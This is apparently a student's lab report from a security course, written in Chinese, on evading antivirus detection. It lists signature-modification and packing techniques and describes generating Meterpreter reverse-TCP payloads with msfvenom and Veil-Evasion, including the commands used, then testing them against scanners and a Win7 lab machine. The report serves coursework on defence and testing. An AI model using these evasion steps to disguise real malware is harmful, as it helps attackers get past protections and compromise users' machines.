20145332卢鑫 免杀原理与实践
基础问题回答
(1)杀软是如何检测出恶意代码的?
答:①为病毒的特征设定一个阈值,扫描器分析文件时,当文件的总权值超出了设定值,就将其看作是恶意代码
②利用病毒的特有行为特征来监测病毒
③计算保留特征码,在遇到可以操作时进行比较,根据比较结果作出判断
(2)免杀是做什么?
答:是为了不让病毒被识别出来,通过钻杀毒软件漏洞或者将病毒伪装成正常程序的办法来逃避杀毒软件的查杀。
(3)免杀的基本方法有哪些?
答:特征码修改方法:①直接修改特征码的十六进制法 :把特征码所对应的十六进制改成数字差1或差不多的十六进制.
适用范围:一定要精确定位特征码所对应的十六进制,修改后一定要测试一下能否正常使用.
②修改字符串大小写法 :把特征码所对应的内容是字符串的,只要把大小字互换一下就可以了.
适用范围:特征码所对应的内容必需是字符串,否则不能成功.
③等价替换法 :把特征码所对应的汇编指令命令中替换成功能类拟的指令.
适用范围:特征码中必需有可以替换的汇编指令.比如JN,JNE 换成JMP等.
④指令顺序调换法 :把具有特征码的代码顺序互换一下.
适用范围:具有一定的局限性,代码互换后要不能影响程序的正常执行
⑤通用跳转法 :把特征码移到零区域(指代码的空隙处),然后一个JMP又跳回来执行.
适用范围:没有什么条件,是通用的改法。
文件免杀方法:①加冷门壳
②加花指令
③改程序入口点
④改木马文件特征码的5种常用方法
⑤还有其它的几种免杀修改技巧
Msfvenom生成可执行文件
上个实验做出的病毒检测结果如图(因为只有学号识别不了,所以将名字改成了test):
测试结果就是被大多数软件都查出来了
Veil-Evasion生成可执行文件
老师的kali里有这个软件,可以直接使用来生成可执行软件:
指令:use python/meterpreter/rev_tcp
set LHOST 127.0.0.1
generate
door
1
成功界面:
(我忘记了检测的时候有5332的都会没法检测。。。所以在检测的时候将5332door这歌名字改成了door)
检测结果:
比原来已经好很多了,但是还是能被查出来。。。
C语言调用shellcode
生成shellcode数组:
在虚拟机创建一个shellcode_5332.c文件,将生成的数组复制并加入主函数,再将该代码转化为可执行文件:
使用网页将其检测一下:
虽然少但还是被检测出来了。。。。
再使用VS软件写出C语言代码得到shellcode_5332,运行得到可执行文件shellcode_5332.exe:
还是被检测出来了。。。。。
靶机:win7 杀毒软件:360安全卫士
使用shellcode.exe将Kali与靶机互联,成功:
使用360扫描:
连接靶机:
实验体会
这次实验虽然最后被发现的数量越来越少,但是还是会被发现,无法做到完全隐藏,但是也间接地说明了杀毒软件并没有这么安全。。。
离实战还缺什么技术或步骤
我们现在做的实验都是使用了不是很多的软件来检测,而且实现的功能不是特别多,现在杀毒软件库也在日益更新,能检测出的病毒越来越多,而且现在只是跟着步骤一步一步坐下去,很多深层的知识并不了解,还需要了解更多的原理